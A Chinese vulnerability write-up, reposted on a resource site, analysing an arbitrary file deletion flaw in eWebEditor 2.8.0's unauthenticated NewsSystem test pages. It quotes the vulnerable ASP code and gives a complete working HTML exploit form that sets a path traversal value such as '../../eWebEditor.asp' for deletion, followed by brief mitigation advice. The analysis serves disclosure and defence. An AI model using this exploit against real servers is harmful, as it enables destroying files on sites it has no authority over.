Ewebeditor2.8.0最终版删除任意文件漏洞分析与解决方法
此漏洞存在于Example\\NewsSystem目录下的delete.asp文件中，这是ewebeditor的测试页面，无须登陆可以直接进入，看这些代码： \’ 把带"|"的字符串转为数组 Dim aSavePathFileName aSavePathFileName = Split(sSavePathFileName, "|") \’ 删除新闻相关的文件，从文件夹中 Dim i For i = 0 To UBound(aSavePathFileName) \’ 按路径文件名删除文件 Call DoDelFile(aSavePathFileName(i)) Next 而aSavePathFileName是前面从数据库取出来的： sSavePathFileName = oRs("D_SavePathFileName") 看看D_SavePathFileName是怎么添加到数据库里的，在addsave.asp(modifysave.asp)里： sSavePathFileName = GetSafeStr(Request.Form("d_savepathfilename")) … oRs("D_SavePathFileName") = sSavePathFileName 居然过滤了，是GetSafeStr函数，再看看这个函数，在Startup.asp里： Function GetSafeStr(str) GetSafeStr = Replace(Replace(Replace(Trim(str), "\’", ""), Chr(34), ""), ";", "") End Function 无 语，这不是过滤字符型注入的函数么？放这里什么用也没有啊！既然路径没有过滤，那就可以直接定义了，构造一个提交页面，其中 d_savepathfilename自己任意赋值(要删除多个文件，用|隔开即可)。试试../../eWebEditor.asp，提交后删除该新 闻，于是主目录下的eWebEditor.asp不见了！ 下面给出利用的htm： <HTML><HEAD><TITLE>eWebEditor删除文件 </TITLE> <style>body,p,td,input {font-size:9pt}</style> </HEAD><BODY><a href=\’list.asp\’>新闻列表</a> | <a href=\’add.asp\’>增加新闻</a> <b>增加新闻</b> <form action="http://127.0.0.1/editor/Example/NewsSystem/addsave.asp" method="post" name="myform"> <input type=hidden name=d_originalfilename> <input type=hidden name=d_savefilename> <table cellspacing=3 align=center> <tr><td>要删的文件(相对路径就可以了)：</td> <td><input type="text" name="d_savepathfilename" value="" size="90"></td> </tr> <tr><td>新闻标题(随便填)：</td> <td><input type="text" name="d_title" value="" size="90"></td> </tr> <tr><td>标题图片：</td> <td><select name="d_picture" size=1><option value=\’\’>无</option></select> 当编辑区有插入图片时，将自动填充此下拉框</td> </tr> <tr><td>新闻内容(随便填)：</td> <td><textarea name="d_content"></textarea></td> </tr> </table> <input type=submit name=btnSubmit value=" 提 交 "> <input type=reset name=btnReset value=" 重 填 "> </form> </BODY></HTML> 删除文件漏洞一般是配合其他漏洞使用的，比如目录遍历！ 解决方法：删除测试文件目录，把默认的登录密码修改，或直接删除管理页面，因为，我们配置好，很少再改动的，最好把一些后台文件压缩后，删除。
2. 分享目的仅供大家学习和交流，请不要用于商业用途！
3. 如果你也有好源码或者教程，可以到用户中心发布投稿，分享有金币奖励和额外收入！
4. 本站提供的源码、模板、插件等等其他资源，都不包含技术服务 请大家谅解！
5. 如有链接无法下载、失效或广告，请联系站长，可领回失去的金币，并额外有奖！
6. 如遇到加密压缩包，默认解压密码为"www.zyfx8.cn",如遇到无法解压的请联系管理员！
本站部分文章、资源来自互联网，版权归原作者及网站所有，如果侵犯了您的权利，请及时联系我站删除。免责声明
资源分享吧 » Ewebeditor2.8.0最终版删除任意文件漏洞分析与解决方法
常见问题FAQ
- 免费下载或者VIP会员专享资源能否直接商用？
- 本站所有资源版权均属于原作者所有，这里所提供资源均只能用于参考学习用，请勿直接商用。若由于商用引起版权纠纷，一切责任均由使用者承担。更多说明请参考 VIP介绍。
- 织梦模板使用说明
- 你下载的织梦模板并不包括DedeCMS使用授权，根据DedeCMS授权协议，除个人非盈利站点外，均需购买DedeCMS商业使用授权。购买地址： http://www.desdev.cn/service-dedecms.html
